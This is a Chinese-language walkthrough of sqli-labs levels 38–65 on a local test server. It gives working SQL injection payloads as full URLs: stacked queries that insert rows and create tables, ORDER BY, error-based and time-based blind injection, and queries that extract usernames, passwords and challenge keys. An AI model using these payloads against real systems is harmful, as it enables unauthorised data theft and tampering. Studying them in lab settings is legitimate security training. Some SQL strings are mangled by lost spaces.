在做题之前可以先参考MYSQL注入天书之stacked injection
LESS-38
本关用常用方法都可以爆出数据库信息,然而考察的不是爆出信息,而是Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
这我们构造一下:
http://127.0.0.1/sqli-labs-master/Less-38/?id=1';insert into users(id,username,password) values(15,'less38','less38') -- +
图片.png
然后可以发现它是两条语句都执行了的。
LESS-39
和less-38的区别在于sql语句的不一样:SELECT * FROM users WHERE id=$id LIMIT 0,1
也就是数字型注入,我们可以构造以下的payload:
http://127.0.0.1/sqli-labs-master/Less-39/?id=1;insert into users(id,username,password) values(16,'less39','less39') -- +
图片.png
可见两条语句都执行了。
LESS-40
本关与前两关基本相同,错误不回显,只是对id参数进行('id')处理
LESS-41
此处与less-39是一致的,区别在于41错误不回显。所以我们盲注。
http://127.0.0.1/sqli-labs-master/Less-41/?id=1;insert into users(id,username,password) values(17,'less41','less41') -- +
图片.png
注入成功
LESS-42
Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。
从login.php源代码中查下信息:
图片.png
Password变量在post过程中,没有通过mysql_real_escape_string()函数的处理。因此在登录的时候密码选项我们可以进行attack。
用户名可以随意填写,
密码我们可以构造进行注入。
图片.png
这里username:admin,password:c';create table less42 like users#
原sql语句为
sql="SELECT∗FROMusersWHEREusername=′username' and password='$password'";
登录时构造的sql语句为
SELECT * FROM users WHERE username='admin' and password='c';create table less42 like users#
利用stacked injection,我们成功执行创建数据表less42的语句。
图片.png
同样的利用此方式可以更新和插入数据项。
LESS-43
本关与42关的原理基本一致,我们还是看一下login.php中的password。看一下sql语句为:
sql="SELECT∗FROMusersWHEREusername=(′username') and password=('$password')";
我们可以这么构造:
username:admin
Password:c');create table less43 like users#
和42相同,不严实了。
LESS-44
本关是基于盲注的,这里盲注主要是因为没有报错信息,所以要采用盲注。这关与42关的区别就在于没有报错信息
我们尝试构造:
username:admin
Password:a';insert into users(id,username,password) values (18,'less44','less44')#
图片.png
图片.png
可以看到已注入成功。
LESS-45
45和43是一样的,不过45没有报错信息,所以盲注吧,构造方法和之前一样。
参考MYSQL注入天书之order by后的injection
LESS-46
从这开始,要用到order by 相关注入的知识。
本关的sql语句为sql="SELECT∗FROMusersORDERBYid";
尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)
从上述的sql语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。如何进行order by的注入,我们先来了解一下mysql官方select的文档。
先了解下源代码
图片.png
尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)
图片.png图片.png
从上述的sql语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。如何进行order by的注入,我们先来了解一下mysql官方select的文档。
图片.png
我们可利用order by后的一些参数进行注入。
1)、order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
http://127.0.0.1/sqli-labs-master/Less-46/?sort=left(version(),1)
没有报错,但是right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。
此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,
①直接添加注入语句,?sort=(select ******)
②利用一些函数。例如rand()函数等。?sort=rand(sql语句)
Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的。
图片.png
图片.png
③利用and,例如?sort=1 and (加sql语句)。
同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。
报错注入:
爆表:
http://127.0.0.1/sqli-labs-master/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
图片.png
爆列:
http://127.0.0.1/sqli-labs-master/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'))) --+
图片.png
爆值:
http://127.0.0.1/sqli-labs-master/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+
图片.png
接下来我们用rand()进行演示一下,因为上面提到rand(true)和 rand(false)结果是不一样的。
http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)
图片.png
图片.png
从上述两个图的结果,对比rand(ture)和rand(false)的结果,可以看出报错注入是成功的。
延时注入例子 :
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(SELECT IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1)
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(5))
尝试这两个语句可以看到明显的延时效果。
LESS-47
本关的sql语句为 sql="SELECT∗FROM users ORDER BY ′id'";
将id变为字符型,因此根据我们上述提到的知识,我们依旧按照注入的位置进行分类。
、order by后的参数
我们只能使用and来进行报错和延时注入。我们下面给出几个payload示例。
① 可以利用报错的方式进行
爆表:http://127.0.0.1/sqli-labs-master/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
版本号:
http://127.0.0.1/sqli-labs-master/Less-47/?sort=1'and (select * from%20(select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
http://127.0.0.1/sqli-labs-master/Less-47/?sort=1' and (select count() from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()2))) -- +
可以看到user()的内容,同时可以构造其他的语句进行注入。
LESS-48
本关与less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。
可以利用sort=rand(true/false)进行判断。
http://127.0.0.1/sqli-labs-master/Less-48/?sort=rand(ascii(left(database(),1))=178)
http://127.0.0.1/sqli-labs-master/Less-48/?sort=rand(ascii(left(database(),1))=115)
图片.png
And后的延时注入
http://127.0.0.1/sqli-labs-master/Less-48/?sort=1%20and%20(If(ascii(substr(database(),1,1))=115,0,sleep(5)))
LESS-49
本关与47关基本类似,区别在于没有错误回显,所以我们可以通过延时注入进行注入。
利用延时注入
http://127.0.0.1/sqli-labs-master/Less-49/?sort=1%27%20and%20(If(ascii(substr((select%20username%20from%20users%20where%20id=1),1,1))=69,0,sleep(5)))--+
有明显延时
LESS-50
本关开始进行order by stacked injection
执行sql语句我们这里使用的是mysqli_multi_query()函数,而之前我们使用的是mysqli_query(),区别在于mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句,那么我们此处就可以执行多个sql语句进行注入,也就是我们之前提到的statcked injection。
这里我们上述用到的方法依旧是可行的。
构造:
http://127.0.0.1/sqli-labs-master/Less-50/?sort=1;create table less50 like users -- +
LESS-51
本关的sql语句为 sql="SELECT∗FROMusersORDERBY′id'";
我们此处要进行stacked injection,要注释掉',此处给出payload:
http://127.0.0.1/sqli-labs-master/Less-51/?sort=1';create table less50 like users -- +
LESS-52
和less50是一样的,只是这里的mysql错误不会在前台显示,但是对于stacked injection是一样的利用方式
LESS-53
和less51是一样的,只是这里的mysql错误不会在前台显示,但是对于stacked injection是一样的利用方式
LESS-54
这一关我们主要考察的依旧是字符型注入,但是只能尝试十次。所以需要在尝试的时候进行思考。如何能更少的减少次数。这里的表名和密码等是每十次尝试后就强制进行更换。因为已经知道了数据库名字叫做challenges,所以我们需要知道表名。
已经得到表名为zh202gsitv(当然你测试的时候应该不是这个),接下来就是要找到该表的所有列
http://127.0.0.1/sqli-labs-master/Less-54/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='zh202gsitv' --+
图片.png
我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在secret_DZ1Q列中,所以我们直接查看该列的内容
图片.png
得到:L6zOyIj2m8V1qs8KkExPbOrE,然后提交。
LESS-55
本关的sql语句为:
sql="SELECT∗FROMsecurity.usersWHEREid=(id) LIMIT 0,1";
其余和less54是一样的,所以我们将上述的语句前添加 ) 即可,但是这里要求次数为14次。
LESS-56
与less54.55形式是一致的,我们关注sql语句,
sql="SELECT∗FROMsecurity.usersWHEREid=(′id') LIMIT 0,1";
LESS-57
图片.png" " 的处理,所以此处我们构造的payload要进行 "" 的处理
LESS-58
执行sql语句后,并没有返回数据库当中的数据,所以我们这里不能使用union联合注入,这里使用报错注入。
http://127.0.0.1/sqli-labs-master/Less-58/?id=0' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'))) --+
http://127.0.0.1/sqli-labs-master/Less-58/?id=0' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='yo3l18wb5k'))) --+
图片.png
http://127.0.0.1/sqli-labs-master/Less-58/?id=0' and extractvalue(1,concat(0x7e,(select group_concat(secret_IOPS) from challenges.yo3l18wb5k))) --+
图片.png
key:0PZNM6TefSE4eqLlV6lIzZyl 然后提交。
LESS-59
和58题相同,不过id数字型注入
LESS-60
与上题也想同,对id参数进行("")处理
LESS-61
此处对于id处理,利用两层括号。形式和上述是一样的
LESS-62
此处union和报错注入都已经失效了,那我们就要使用延时注入了。
http://127.0.0.1/sqli-labs-master/Less-62/?id=1' and If(ascii(substr((select group_concat(table_coulmn) from information_schema.coulmns where table_schema='challenges'),1,1))=79,0,sleep(10))--+
当正确的时候时间很短,当错误的时候时间大于10秒
LESS-63
这题和62一样,我们只需要看到sql语句上
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
方法与62一样
LESS-64
此处的sql语句为
sql="SELECT∗FROMsecurity.usersWHEREid=((id)) LIMIT 0,1";
此处对id参数进行了处理,不过还是延时注入,和上题相似
LESS-65
$id = '"'.$id.'"';
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
此处对id进行了 “” () 的处理,构造payload时还是使用延时注入。
网友评论